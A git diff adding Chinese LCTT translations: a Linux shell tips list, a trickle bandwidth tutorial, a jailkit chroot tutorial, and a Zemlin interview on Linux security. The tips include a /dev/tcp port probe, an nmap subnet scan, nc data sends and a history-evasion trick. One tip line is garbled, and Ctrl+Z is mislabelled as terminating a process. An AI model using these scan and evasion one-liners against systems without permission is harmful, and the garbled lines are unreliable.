+如果我发现自己被困在一座岛上,只有一种可用的桌面环境,那它必须是Gnome。虽然我喜欢KDE的某些方面胜过Gnome,但总体上我觉得Gnome可以花更少的功夫去持续使用。我常常发现使用KDE搞砸一堆配置,甚至更糟糕,譬如奇怪的警告声称我的声卡找不到。在Gnome环境下,我从没有遇到这些问题。 + +因为我珍惜我的时间和理智,所以我会持续推荐使用Gnome而不是KDE;同时在适当的时候建议一些KDE应用。对于任何声称KDE更容易使用的人-我觉得指的是我,从长远来看,简单地学习Gnome的做事方法给我带来了更大的稳定性。 + + +照片由[Shutterstock][12]提供。 + +--- + +via: http://www.datamation.com/open-source/kde-vs-gnome-settings-apps-widgets-2.html + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[校对者ID](https://github.com/校对者ID) + + +[1]:http://www.opensuse.org/en/ +[2]:http://en.opensuse.org/YaST_Software_Management +[3]:http://userbase.kde.org/Kontact +[4]:https://projects.gnome.org/evolution/ +[5]:http://amarok.kde.org/ +[6]:https://projects.gnome.org/rhythmbox/ +[7]:http://en.wikipedia.org/wiki/Nautilus_%28file_manager%29 +[8]:http://en.wikipedia.org/wiki/Dolphin_%28file_manager%29 +[9]:http://www.calligra-suite.org/ +[10]:http://www.abisource.com/ +[11]:http://www.libreoffice.org/ +[12]:http://www.shutterstock.com/pic-137314787/stock-photo-information-concept-golden-gears-on-digital-background-d-render.html + diff --git a/translated/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md b/translated/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md new file mode 100644 index 0000000000..71d29b2774 --- /dev/null +++ b/translated/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md @@ -0,0 +1,91 @@ +Linux 宗旨:‘开源很安全,Linux比其它任何系统都安全’ + +================================================================================ +在对Linux基金会执行官,Jim Zemlin 的采访中,VentureBeat 展望了2014开源操作系统的未来。 + +We also addressed the controversial issues of government spying and “backdoors” — those nefarious windows into our personal online lives that the public recently discovered in most of the services we use every day. + +我们也探讨了争议性的话题,就是政府部门的监听事件以及‘后门’-那些邪恶的窗口,窥探我们网上的私生活,最近公众发现我们经常使用的大多数服务都有类似的遭遇。 + +Zemlin gave us the skinny on how and why GNU/Linux remains the most secure option for concerned consumers — and why it’s becoming the OS of choice for powering cars, phones, TVs, and all kinds of emerging devices. +Zemlin 为我们解释了 GNU/Linux 为什么以及如何使自身成为内心有些担忧的消费者的最安全的选择。还有就是为什么选择GNU/Linux作为车载操作系统,TVs以及其他新兴设备的操作系统。 + +以下是我们e-mail问答形式的实录。 + +---------- + +**VentureBeat: 安全和隐私成为今年的热门话题,我们听到的谣言,Linus[Torvalds, Linux 创始人]对政府部门是否有安装后门的要求点头称是。** + +**Zemlin**: Linux是否有后门,你是可以知道的. + +世界上所有人都可以看到Linux的每一行代码。这也是linux要比其他操作系统更安全、开源整体要比闭源更安全的原因之一。代码的透明度保证了它的安全性。 + +And for the record: He wasn’t approached. +记录在案的是:后门并没有进入到linux。 + +**VentureBeat: Linux基金会如何保证Linux用户的隐私和自由,使其免于遭受追踪和监视?** + +**Zemlin**: 对此,我们一以贯之。向内核插入违反隐私权和背离自由精神的代码而不被成千上万的开发者注意到,这是很难的。Linux的本性就是自我定制。 + +**VentureBeat: 今年的隐私/安全/监视事件会不会促使, 或者将会促使更多的消费者倾向于Linux,对此你作何感想?** + +**Zemlin**: 世界范围内,我听到人们都在说,“用开源保证隐私是必须的。”的确,那会促使更多的使用者选择Linux。 + +除了他们对linux平台下的隐私和安全持自信、信任的态度以外, 我认为消费者会基于多种原因选择Linux。 +代码的透明性以及开发过程逐渐给予博学和警觉的消费者一个选择,一个会让他们对linux感觉良好的选择。 + +[视频游戏发行商] Valve [及其SteamOS下的工作][1] 正在促使更多的消费者走进Linux,就像逐渐占据主导的Android和其他运行Linux的电子设备一样,比如电视、家电、汽车等,当然还有更多。 + +**VentureBeat: 针对手机的Ubuntu Edge, 对它有何看法? 对于2014-2015年Linux/Ubuntu手机市场走势,你作何预测?* + +**Zemlin**:我希望看到潜在的有趣的新产品进入市场,尤其是基于Linux的产品。很难说每年哪款产品会成为手机市场的新宠。 + +我认为预测基于Linux的手机将占据主导地位,不算夸大事实。Android, Tizen, Ubuntu, Firefox,等等等等,都显示出Linux可以驱动手机市场的创新,并且为消费者创造新的体验,为开发者和OEMs创造机会。 + +明年令人振奋的及我所关注的,就是,linux和开源界如何把这些设备、对象和服务关联到一起。 + +**VentureBeat: What’s the most exciting use case you’ve seen so far for Linux embedded in automobile systems?** +**VentureBeat: 目前为止,你看到的linux嵌入式车载系统的最令人激动的使用案例是什么?** + +**Zemlin**: 毫无疑问,就是,Cadillac, Tesla, Toyota, Jaguar, Land Rover等都搭建了车载信息娱乐系统。 + +比如,今年赢得了 “年度汽车族”奖项的Tesla Model S,装备了一个17英寸平面、运行着定制Linux的电脑。这真的是太酷了。 + +2014年度汽车族刚刚揭晓 -- Cadillac CTS sedan, 也是使用linux作为车载信息娱乐系统。汽车制造商有能力使用linux进行创新并区别使用这些系统。 + +Linux的成功也能从来自IHS汽车的最新数据上看到,IHS本月报告称,在全球车载信息娱乐市场,基于linux的汽车销量2020年有望达到5.37千万,超过微软和黑莓QNX。 + +Linux基金会协同汽车级Linux工作组在该领域做了许多工作。通过在Linux内核社区,其他开源社区,以及汽车行业,营造一个中立、支持性的环境,针对一些世界上大的汽车制造商如日产,捷豹,路虎,丰田,等等,我们可以帮助其推动汽车linux技术。 + +**VentureBeat: 在硬核开发者市场以外,Linux是如何发展壮大的,尤其是考虑到消费者和游戏玩家?** + +**Zemlin**:可以肯定的是,对游戏玩家来说,今年是linux的一个转折点。Valve, 基于Steam网络平台的一个游戏厂商,在linux上构建并运行所有的源代码和动画。Valve CEO Gabe Newell 称,今年的LinuxCon大会上他们在linux平台运行了198个游戏,随着引进基于linux的Stream,这个数字还会上升。这是Linux和游戏界新趋势的开端。 + +用户每天都在用linux。软件支撑着我们的日常生活。像Google,Facebook还有Twitter等公司,都建立在Linux和开源软件之上。去年10月份LinuxCon欧洲大会上,来自Twitter的Chris Aniszczyk告诉观众: +“Twitter 理所当然完全运行在linux上。为什么你们还需要其他的东西?”(言外之意就是有linux就够了,不需要别的什么东西了。) + +如今Linux驱动着130万台日常用Android手机,每天近60万基于linux的新电视售出。新的家电以及汽车都建立在linux之上。主要交通系统也都在使用linux。最受欢迎的[GoPro 使用linux和开源软件][2]。举不完的例子。 + +Linux和开源理念将会逐渐融入主流消费者的生活。三星使用linux内核以及基于linux的产品充实它的产品线,从电视机到手机,再到家电,等等等等。 + +敬请关注 - 你会看到更多的实例,无不展现出Linux和开源软件以及协同开发在日常生活中发挥越来越大的作用。 + +**VentureBeat: 在你看来,到2014年,免费和开源软件最大的机遇会是什么?** + +**Zemlin**: 我们已经谈到游戏和电子设备,但是企业将会继续为linux呈现更多的机会。云计算的兴起为开发者带来新的机遇和挑战。你试着去找找没有运行在linux上的公共云。 + +软件定义的网络实现将成为2014年的主要活动之一。人们并没有期望着软件定义网络以及网络功能虚拟化变得多么大。想想吧。数十亿美元花费在硬件上,交换机,路由,负载均衡器,防火墙等等。这些都抽象成了软件。更更重要的是,它是在开源软件的基础架构甜蜜点OSS层被抽象。我认为你会看到,像OpenDaylight项目以及其他项目,在2014年都会有大的突破。 + +当然,这只是实现协同发展的大趋势的一部分,你的读者应该会对此感兴趣。我的推测是再过一个20年,几乎所有的基础软件都会议协同开发的方式进行构建。2014年开发者需要学习如何以协同方式构建软件,要学会如何参与开源项目并且贡献代码。如果开发者能够理解协同开发和开源的原则和理念,那么他们职业生涯中的机遇将会是无穷的。 + +参与到linux的世界中来,这是一个激动人心的时刻。从智能手表到电视机,到汽车,所有你能想到的,Linux成为事实上的平台。 +-------------------------------------------------------------------------------- + +via: http://venturebeat.com/2013/11/26/linux-chief-open-source-is-safer-and-linux-is-more-secure-than-any-other-os-exclusive/ + +译者:[译者ID](https://github.com/l3b2w1) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://venturebeat.com/2013/09/23/steamos-valves-linux-based-operating-system-for-the-tv-and-living-room/ +[2]:http://gopro.com/support/open-source \ No newline at end of file diff --git a/translated/Linux shell tips and tricks.md b/translated/Linux shell tips and tricks.md new file mode 100644 index 0000000000..ca7d929c54 --- /dev/null +++ b/translated/Linux shell tips and tricks.md @@ -0,0 +1,310 @@ +Linux sheel 贴士和技巧 +================================================================================ +我日常使用Linux shell(Bash),但是我经常忘记一些有用的命令或者shell技巧。是的,我能记住一些命令但是我不能说只在特定的任务上使用一次。那么我就开始在我的Dropbox账号里用文本文件写下这些Linux shell的贴士,现在我决定共享它。这个表我以后还会更新。记住,这里的一些贴士需要在你的Linux发行版上安装额外的软件。 + +在bash中检查远程端口是否打开: + + echo >/dev/tcp/8.8.8.8/53 && echo "open" + +终止进程: + + Ctrl + z + +将进程移到前台: + + fg + +生成随机16进制数字,n是字符的数量: + + openssl rand -hex n + +在当前shell中从一个文件中执行命令: + + source /home/user/file.name + +提取前5个字符的字串: + + ${variable:0:5} + +SSH调试模式: + + ssh -vvv user@ip_address + +带pem key的SSH + + ssh user@ip_address -i key.pem + +用wget获取完整目录列表到本地目录: + + wget -r --no-parent --reject "index.html*" http://hostname/ -P /home/user/dirs + +创建多个目录: + + mkdir -p /home/user/{test,test1,test2} + +列出带子进程的进程树: + + ps axwef + +创建war文件: + + jar -cvf name.war file + +测试磁盘写速度: + + dd if=/dev/zero of=/tmp/output.img bs=8k count=256k conv=fdatasync; rm -rf /tmp/output.img + +测试磁盘读速度: + + hdparm -Tt /dev/sda + +从文本中获取md5值: + + echo -n "text" | md5sum + +检测xml语法: + + xmllint --noout file.xml + +在新的目录中提取tar.gz文件: + + tar zxvf package.tar.gz -C new_dir + +用curl获取HTTP头: + + curl -I http://www.example.com + +修改一些文件或目录的时间戳 (YYMMDDhhmm): + + touch -t 0712250000 file + +使用wget从ftp下载: + + wget -m ftp://username:password@hostname + +生成随机密码 (本例中16位字符长): + + LANG=c < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo; + +快速创建一个文件的备份: + + cp some_file_name{,.bkp} + +访问Windows共享: + + smbclient -U "DOMAIN\user" //dc.domain.com/share/test/dir + +在历史中运行命令 (这里在第100行): + + !100 + +unzip到目录中: + + unzip package_name.zip -d dir_name + +多行文字 (按 CTRL + d 退出): + + cat > test.txt + +创建空白的文件或者已存在的文件: + + > test.txt + +从Ubuntu NTP服务器上更新日期: + + ntpdate ntp.ubuntu.com + +netstat 显示所有tcp4监听的端口: + + netstat -lnt4 | awk '{print $4}' | cut -f2 -d: | grep -o '[0-9]*' + +将qcow2图像转化成raw: + + qemu-img convert -f qcow2 -O raw precise-server-cloudimg-amd64-disk1.img \ + precise-server-cloudimg-amd64-disk1.raw + +重复运行命令,显示它的输出 (默认2s刷新): + + watch ps -ef + +显示所有用户: + + getent passwd + +以读写模式挂载root: + + mount -o remount,rw / + +挂在目录 (适合于符号链接不成功的情况下): + + mount --bind /source /destination + +发送动态更新给DNS: + + nsupdate < 1048576) print $7/1048576 "MB "$9 }' | sort -n -u | tail + +以MB显示空余内存: + + free -m | grep cache | awk '/[0-9]/{ print $4" MB" }' + +打开vim并跳转到文件最后: + + vim + some_file_name + +git clone特定branch (master): + + git clone git@github.com:name/app.git -b master + +git切换到另外一个branch (develop): + + git checkout develop + +git删除一个branch(myfeature): + + git branch -d myfeature + +Git删除一个远程branch: + + git push origin :branchName + +Git push 新的branch到远程: + + git push -u origin mynewfeature + +打印history中最后的cat命令 + + !cat:p + +运行history中的最后的cat命令: + + !cat + +找出在/home/user中的所有空子目录: + + find /home/user -maxdepth 1 -type d -empty + +得到test.txt中50到60行的文本: + + < test.txt sed -n '50,60p' + +运行最后的命令 (如果是: mkdir /root/test, 下面会运行: sudo mkdir /root/test): + + sudo !! + +创建临时RAM文件系统 - ramdisk (首先创建在 /tmpram 目录): + + mount -t tmpfs tmpfs /tmpram -o size=512m + +Grep完整单词: + + grep -w "name" test.txt + +需要特权模式在一个文件后追加文本: + + echo "some text" | sudo tee -a /path/file + +列出所有的kill信号: + + kill -l + +生成随机密码 (本例中16个字符长): + + openssl rand -base64 16 + +在bash历史中不记录最后的会话: + + kill -9 $$ + +扫描网络找出打开的端口: + + nmap -p 8081 172.20.0.0/16 + +设置git email: + + git config --global user.email "me@example.com" + +如果你有未提交的commit,与master同步: + + git pull --rebase origin master + +将文件中含有txt的所有文件移动到/home/user: + + find -iname "*txt*" -exec mv -v {} /home/user \; + +一行行合并文件: + + paste test.txt test1.txt + +shell中的进度条: + + pv data.log + +用netcat发送数据给服务器: + + echo "hosts.sampleHost 10 `date +%s`" | nc 192.168.200.2 3000 + +转换tab到空格: + + expand test.txt > test1.txt + +跳过bash历史: + + < >cmd + +回到先前的工作目录: + + cd - + +切割大的tar.gz文件 (每个 100MB) 并还原: + + split –b 100m /path/to/large/archive /path/to/output/files + cat files* > archive + +用curl获取HTTP状态值: + + curl -sL -w "%{http_code}\\n" www.example.com -o /dev/null + +当 Ctrl + c 没用时: + + Ctrl + \ + +获取文件所有者: + + stat -c %U file.txt + +列出块设备: + + lsblk -f + +找出末尾空格的文件: + + find . -type f -exec egrep -l " +$" "{}" \; + +找出用tab缩进的文件: + + find . -type f -exec egrep -l $'\t' "{}" \; + +用"="打印水平行 + + printf '%100s\n' | tr ' ' = + +**更新: 2013年11月25日** + +-------------------------------------------------------------------------------- + +via: http://www.techbar.me/linux-shell-tips/ + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md b/translated/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md new file mode 100644 index 0000000000..2371f13477 --- /dev/null +++ b/translated/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md @@ -0,0 +1,159 @@ +Linux 下使用Trickle管理和限制下载/上传带宽 +================================================================================ +你有没有遇到过一个程序占用了你所有的网络带宽的情况?如果你遇到过,那么你就需要限制带宽的应用。不管你是一个系统管理员还是一名普通Linux用户,您都要学习如何控制应用的上传和下载速度来确保你的网络带宽不会被一个程序耗光。 + +![](http://www.tecmint.com/wp-content/uploads/2013/11/Bandwidth-limit-trickle.png) + +### Trickle 是什么? ### + +**Trickle**是一款带宽整形器,用来限制如**Firefox, FTP , SSH**以及其他使用网络带宽的程序的带宽使用。你希望你的**Youtube**音乐体验影响到你的ftp下载么?如果不想,请继续阅读这篇文章,学习如何在你的机器上安装和使用trickle。 + + +### 怎样在Linux上安装Trickle ### + +trickle工具有它自己的依赖包,安装和使用trickle之前必须安装“**libevent 库**”,不过这个库在大多数现在的Linux机器上已经默认安装。 + + +#### 在 Debian/Ubuntu/Linux Mint 上#### + +在**Debian/Ubuntu/Mint** 机器上运行 **apt-get install trickle**进行安装。请确保源列表已经更新,接着安装你想要的应用。 + + $ sudo apt-get update + $ sudo apt-get install trickle + +#### 在 RHEL/CentOS/Fedora 上#### + +首先你需要更新系统,然后使用下面的命令安装trickle。 + + # yum update + # yum install trickle + +### Trickle如何工作? ### + +Trickle通过控制socket数据读写量来控制和限制应用的**上传/下载**速度。它使用另一个版本的**BSD**套接字API,但是区别是trickle还管理socket调用。 + +要注意的是trickle使用动态链接和加载,所以它只对于使用"Glibc库"的程序有用。由于trickle可以设置数据在socket上的传输延迟,显然它可以用来限制一个应用的网络带宽。 + + +### Trickle不能做什么? ### + +Trickle不能用于限制使用**UDP**协议的应用的带宽,它只可用于**TCP**连接,但是你要知道它也并不是对所有的**TCP**连接有效。如果你一直仔细地看这篇文章,你可以猜到原因是什么。你还记得trickle只对使用**Glibc库**应用有效吧? + +还要说一下,trickle无法工作在使用静态链接的可执行程序上。 + + +### 确定Trickle是否可运行在某个特定应用上 ### + +既然trickle无法限制每个应用的**上传/下载**速度,就应该有个方法找出trickle可以工作的应用。 + +**ldd**工具可以帮我们找出某个特定的程序是否使用了**libc.so**库。如果程序使用了这个库,就可以使用trickle来限制它的网络带宽使用。 + +**ldd**命令用于打印每个程序需要的共享库。如果你是一个好奇的**Linux Geek**,那么你可以使用man命令来找出关于ldd工具的更多信息。 + + # man ldd + +**Filezilla**是一款使用ftp协议传输文件的程序,trickle可以用来限制它的下载或者上传速度么?在你考虑的时候,我使用以下的命令来找出trickle是否可用于filezilla。 + + # ldd filezilla | grep libc.so + +就我而言,它输出了如下: + + oltjano@oltjano-X55CR:/usr/bin$ ldd filezilla | grep libc.so + libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb6bc4000) + +既然filezilla使用了“**libc.so**”库,那么trickle可以用来限制它的网络带宽。这个方法可以用在任何你感兴趣的程序上。 + +### 学习如何使用Trickle ### + +使用下面的命令打印trickle工具的**版本**。 + + root@oltjano-X55CR:~# trickle -V + trickle: version 1.07 + +Linux有很多命令行工具使测试(实验)变得有趣和美丽。下面的命令使用[wget 工具][1]来下载最新的Pear OS镜像. + +root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download + + --2013-11-20 11:56:32-- http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download + Resolving sourceforge.net (sourceforge.net)... 216.34.181.60 + Connecting to sourceforge.net (sourceforge.net)|216.34.181.60|:80... connected. + HTTP request sent, awaiting response... 302 Found + Location: http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384928843&use_mirror=kaz [following] + --2013-11-20 11:56:33-- http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384928843&use_mirror=kaz + Resolving downloads.sourceforge.net (downloads.sourceforge.net)... 216.34.181.59 + Connecting to downloads.sourceforge.net (downloads.sourceforge.net)|216.34.181.59|:80... connected. + HTTP request sent, awaiting response... 302 Found + Location: http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso [following] + --2013-11-20 11:56:33-- http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso + Resolving kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)... 88.204.157.163 + Connecting to kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)|88.204.157.163|:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 1093664768 (1.0G) [application/octet-stream] + Saving to: ‘download’ + + 0% [ ] 30,78,278 381KB/s eta 1h 50m +从输出可以看到,下载速度大约是**381 KB/s**。我想限制下载速度到**13 K/s**,这样我就可以用我的带宽做其他的事情了。下面的命令用来限制wget速度到**13 K/s**。 + + root@oltjano-X55CR:~# trickle -d 13 wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download + + ravisaive@ravisaive-OptiPlex-380:~$ trickle -d 13 wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download + + --2013-11-20 12:01:19-- http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download + Resolving sourceforge.net (sourceforge.net)... 216.34.181.60 + Connecting to sourceforge.net (sourceforge.net)|216.34.181.60|:80... connected. + HTTP request sent, awaiting response... 302 Found + Location: http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384929129&use_mirror=kaz [following] + --2013-11-20 12:01:19-- http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384929129&use_mirror=kaz + Resolving downloads.sourceforge.net (downloads.sourceforge.net)... 216.34.181.59 + Connecting to downloads.sourceforge.net (downloads.sourceforge.net)|216.34.181.59|:80... connected. + HTTP request sent, awaiting response... 302 Found + Location: http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso [following] + --2013-11-20 12:01:20-- http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso + Resolving kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)... 88.204.157.163 + Connecting to kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)|88.204.157.163|:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 1093664768 (1.0G) [application/octet-stream] + Saving to: ‘download.1’ + + 0% [ ] 2,01,550 13.1KB/s eta 21h 5m + +从输出可以看到,下载速度被限制到了**13K/s**。下载将会持续**21小时5分钟**。上面的“**-d**”选项表示下载,还可以结合使用 “**-d**”选项和上传选项(**-u**),如下例所示。 + + # trickle -u 100 -d 50 ftp + +上面的命令限制**ftp 客户端**的上传速度为**100K/s**,下载速度为**50K/s**。还可以使用下面的命令,限制在一个shell里运行的所有命令的带宽。 + + trickle -d 130 -u 13 bash + +每个命令行工具都对用户提供了帮助,使用"trickle -h"命令来找出更多trickle工具的用法。 + +root@oltjano-X55CR:/usr/bin# trickle -h + + Usage: trickle [-hvVs] [-d ] [-u ] [-w ] [-t ] + [-l ] [-n ] command ... + -h Help (this) + -v Increase verbosity level + -V Print trickle version + -s Run trickle in standalone mode independent of trickled + -d Set maximum cumulative download rate to KB/s + -u Set maximum cumulative upload rate to KB/s + -w Set window length to KB + -t Set default smoothing time to s + -l Set default smoothing length to KB + -n Use trickled socket name + -L Set latency to milliseconds + -P Preload the specified .so instead of the default one + +### 总结 ### + +本篇文章介绍如何在Linux机器上安装trickle工具,并用它如何做一些简单的事情。无论你为大公司工作还是自己使用,trickle都是高级Linux用户的必备工具。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/manage-and-limit-downloadupload-bandwidth-with-trickle-in-linux/ + +译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/10-wget-command-examples-in-linux/ \ No newline at end of file diff --git a/translated/Setup a jailed shell with jailkit on ubuntu.md b/translated/Setup a jailed shell with jailkit on ubuntu.md new file mode 100644 index 0000000000..081f080fc1 --- /dev/null +++ b/translated/Setup a jailed shell with jailkit on ubuntu.md @@ -0,0 +1,266 @@ +在Ubuntu下用jailkit建立一个被监禁的Shell + +================================================================================ + +### Jailkit和jailed Shell ### + +监狱性的shell是一类限制性的shell,提供给用户非常真实的Shell模样,但是不允许它查看和修改真正的文件系统。Shell内的文件系统不同于底层的文件系统。这种功能是通过chroot和其他多种程序实现的。举例来说,建立一个用户的linux shell可能仅仅为了玩耍。或者在一个限定的环境里运行一些程序的所有功能等。 + +在这个教程里我们将会探讨在Ubuntu下用jailkit建立一个监禁的shell。Jailkit是辅助程序,允许快速的建立一个监禁的shell,监禁的用户,在受监禁的环境里配置程序并运行。 + +Jailkit can be downloaded from [http://olivier.sessink.nl/jailkit/][1] + +我们已经谈论过关于在Ubuntu下安装jailkit,如果有不懂,多看看那篇文章。 + +### 配置jailed Shell ### + +#### 配置jail环境 #### + +我们需要建立一个目录来存放所有jail环境的配置。这不是重点,我们可以创建个/opt/jail的目录。 + + $ sudo mkdir /opt/jail + +这个目录应为Root所有。所以用chown。 + + $ sudo chown root:root /opt/jail + +#### 2. 设置在jail中可用的程序 #### + +任何程序想要在jail中执行则必须用jk_init命令拷贝到目录中。 + +例如: + + $ sudo jk_init -v /jail basicshell + + $ sudo jk_init -v /jail editors + + $ sudo jk_init -v /jail extendedshell + + $ sudo jk_init -v /jail netutils + + $ sudo jk_init -v /jail ssh + + $ sudo jk_init -v /jail sftp + + $ sudo jk_init -v /jail jk_lsh + +或一次性解决: + + $ sudo jk_init -v /opt/jail netutils basicshell jk_lsh openvpn ssh sftp + +像basicshell, editors, netutils是一些组名,其中包含多个程序。复制到jail shell中的每个组都是可执行文件,库文件等的集合。比如**basicshell**就在jail提供有bash, ls, cat, chmod, mkdir, cp, cpio, date, dd, echo, egrep等程序。 + +完整的程序列表设置,你可以在/etc/jailkit/jk_init.ini中查看。 + + jk_lsh (Jailkit limited shell) - is an important section, and must be added. + +#### 3. 创建将被监禁的用户 #### + +需要将用户放入jail里。可以先创建一个 + + $ sudo adduser robber + + Adding user `robber' ... + + Adding new group `robber' (1005) ... + + Adding new user `robber' (1006) with group `robber' ... + + Creating home directory `/home/robber' ... + + Copying files from `/etc/skel' ... + + Enter new UNIX password: + + Retype new UNIX password: + + passwd: password updated successfully + + Changing the user information for robber + + Enter the new value, or press ENTER for the default + + Full Name []: + + Room Number []: + + Work Phone []: + + Home Phone []: + + Other []: + + Is the information correct? [Y/n] y + +注意:目前创建的是一个活动在文件系统中的普通用户并没有添加到jail中。 + +在下一步这个用户会被监禁在jail里。 + +这时候如果你查看/etc/passwd文件,你会在文件最后看到跟下面差不多的一个条目。 + + robber:x:1006:1005:,,,:/home/robber:/bin/bash + +这是我们新创建的用户,最后部分的/bin/bash指示了这个用户如果登入了那么它可以在系统上正常的Shell访问 + +#### 4. 监禁用户 #### + +现在是时候将用户监禁在jail中 + + $ sudo jk_jailuser -m -j /opt/jail/ robber + +执行上列命令后,用户robber将会被监禁。 + +如果你现在再观察/etc/passwd文件,会发现类似下面的最后条目。 + + robber:x:1006:1005:,,,:/opt/jail/./home/robber:/usr/sbin/jk_chrootsh + +注意:最后两部分表明用户主目录和shell类型已经被改变了。现在用户的主目录在/opt/jail(jail环境)中。用户的Shell是一个名叫jk_chrootsh的特殊程序,会提供jailed Shell。 + +jk_chrootsh这是个特殊的shell,每当用户登入系统时,它都会将用户放入jail中。 + +到目前为止jail配置已经几乎完成了。但是如果你试图用ssh连接,那么注定会失败,像这样: + + $ ssh robber@localhost + + robber@localhost's password: + + Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64) + + * Documentation: https://help.ubuntu.com/ + + 13 packages can be updated. + + 0 updates are security updates. + + *** /dev/sda7 will be checked for errors at next reboot *** + + *** /dev/sda8 will be checked for errors at next reboot *** + + Last login: Sat Jun 23 12:45:13 2012 from localhost + + Connection to localhost closed. + + $ + +连接会立马关闭,这意味着用户已经活动在一个受限制的shell中。 + +#### 5. 给在jail中的用户Bash Shell #### + +下个重要的事情是给用户一个正确的bash shell,但是他却在jail中。 + +打开下面的文件 + + /opt/jail/etc/passwd + +这是个jail中的password文件。类似如下 + + root:x:0:0:root:/root:/bin/bash + + robber:x:1006:1005:,,,:/home/robber:/usr/sbin/jk_lsh + +将/usr/sbin/jk_lsh改为/bin/bash + + root:x:0:0:root:/root:/bin/bash + + robber:x:1006:1005:,,,:/home/robber:/bin/bash + +保存文件并退出。 + +#### 6. 登入jail #### + +现在让我们再次登入jail + + $ ssh robber@localhost + + robber@localhost's password: + + Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64) + + * Documentation: https://help.ubuntu.com/ + + 13 packages can be updated. + + 0 updates are security updates. + + *** /dev/sda7 will be checked for errors at next reboot *** + + *** /dev/sda8 will be checked for errors at next reboot *** + + Last login: Sat Jun 23 12:46:01 2012 from localhost + + bash: groups: command not found + + I have no name!@desktop:~$ + +jail说'I have no name!',哈哈。现在我们在jail中有个完整功能的bash shell。 + +现在通过操作检查环境。jail中的root /实际就是真实文件系统中的/opt/jail.但这只有我们自己知道,jail用户并不知情。 + + I have no name!@desktop:~$ cd / + + I have no name!@desktop:/$ ls + + bin dev etc home lib lib64 run usr var + + I have no name!@desktop:/$ + +也只有我们通过jk_cp拷贝到jail中的命令能使用。 + +如果登入失败,请检查一下/var/log/auth.log的错误信息。 + +现在尝试运行一些网络命令,类似wget的命令。 + + $ wget http://www.google.com/ + +如果你获得类似的错误提示: + + $ wget http://www.google.com/ + + --2012-06-23 12:56:43-- http://www.google.com/ + + Resolving www.google.com (www.google.com)... failed: Name or service not known. + + wget: unable to resolve host address `www.google.com' + +你可以通过运行下列两条命令来解决这个问题: + + $ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_files.so.2 + + $ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_dns.so.2 + +这样才能正确的定位到libnss_files.so和libnss_dns.so + +### 在jail中运行程序或服务  ### + +此时此刻配置已经完成了。Jails可以在限制/安全的环境里运行程序或服务。用**jk_chrootlaunch**命令在jail中启动一个程序或守护进程。 + + $ sudo jk_chrootlaunch -j /opt/jail -u robber -x /some/command/in/jail + +jk_chrootlaunch工具可以在jail环境中启动一个特殊的进程同时指定用户特权。如果守护进程启动失败,请检查/var/log/syslog/错误信息。 + +在jail中运行程序之前,该程序必须已经用jk_cp命令复制到jail中。 + + jk_cp - 将文件包括权限信息和库文件复制到jail的工具  + +进一步阅读有关其他jailkit命令信息,可以阅读文档,[http://olivier.sessink.nl/jailkit/][1] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/setup-jailed-shell-jailkit-ubuntu/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://olivier.sessink.nl/jailkit/ +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: diff --git a/translated/Seven reasons why closed source is better than open source, or so it seems.md b/translated/Seven reasons why closed source is better than open source, or so it seems.md deleted file mode 100644 index cef86789a8..0000000000 --- 